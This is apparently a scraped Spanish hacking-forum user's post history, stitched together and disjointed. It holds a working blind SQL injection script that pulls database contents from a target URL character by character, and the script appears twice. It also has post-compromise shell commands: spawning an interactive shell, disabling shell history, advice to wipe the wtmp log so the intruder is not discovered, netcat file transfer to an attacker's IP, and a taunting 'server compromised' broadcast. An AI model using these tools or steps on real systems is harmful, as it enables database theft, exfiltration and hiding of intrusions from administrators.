Si te saca los errores por pantalla creo que también puedes hacerlo con el método "error based sql injecton". Echale un vistazo en google a ver si te sirve.
Saludos!
Saludos!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú#!/usr/bin/python
# -*- coding: iso-8859-1 -*-
import re
import urllib
import urllib2
import sys
import cookielib
from socket import ssl
ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
h = {"User-Agent" : ua}
letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
usage = "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
usage += "usage: %s \"url\" \"consulta sql\" \n" % sys.argv[0]
usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" % sys.argv[0]
usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
if len(sys.argv) < 3:
print usage
exit()
hsh = urllib2.HTTPSHandler()
cookie_h = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
urllib2.install_opener(opener)
x = 1
y = 45
url = sys.argv[1]
param = sys.argv[2]
sql = param.replace(" ", "%20")
def mayor():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def menor():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def salida():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def acierto():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
try:
while True:
if acierto():
x += 1
print letra[y]
if salida():
exit()
elif mayor():
y += 10
if mayor():
y += 5
elif menor():
y -= 1
elif acierto():
x += 1
print letra[y]
else:
if menor():
y -= 7
if menor():
y -= 10
elif mayor():
y += 1
elif acierto():
x += 1
print letra[y]
else:
print "error"
exit()
except KeyboardInterrupt:
print "\n Cierro"
export TERM=xterm; exec bash -i
unset HISTFILE; unset SAVEHIST
w
who
last
el cual hace uso del archivo wtmp por defecto (/var/log/wtmp) así que si os habeis conectado por ssh aseguraos de limpiar ese archivo si no quereis ser descubiertos.nc -l -p tupuerto > archivo
nc tuip tupuerto -vv < archivo &
http://rpm.pbone.net/
ls -lart
echo "Hola, su servidor ha sido comprometido, para más información ejecute 'nc localhost 5555'" > mensaje
wall < mensaje
nc -l -p 5555 -vv
#!/usr/bin/python
# -*- coding: iso-8859-1 -*-
import re
import urllib
import urllib2
import sys
import cookielib
from socket import ssl
ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
h = {"User-Agent" : ua}
letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
usage = "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
usage += "usage: %s \"url\" \"consulta sql\" \n" % sys.argv[0]
usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" % sys.argv[0]
usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
if len(sys.argv) < 3:
print usage
exit()
hsh = urllib2.HTTPSHandler()
cookie_h = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
urllib2.install_opener(opener)
x = 1
y = 45
url = sys.argv[1]
param = sys.argv[2]
sql = param.replace(" ", "%20")
def mayor():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def menor():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def salida():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def acierto():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
try:
while True:
if acierto():
x += 1
print letra[y]
if salida():
exit()
elif mayor():
y += 10
if mayor():
y += 5
elif menor():
y -= 1
elif acierto():
x += 1
print letra[y]
else:
if menor():
y -= 7
if menor():
y -= 10
elif mayor():
y += 1
elif acierto():
x += 1
print letra[y]
else:
print "error"
exit()
except KeyboardInterrupt:
print "\n Cierro"
import base64
txt = open("archivo", "r")
for l in txt.xreadlines():
l = base64.decodestring(l[-29:-1])
for c in l:
print hex(ord(c))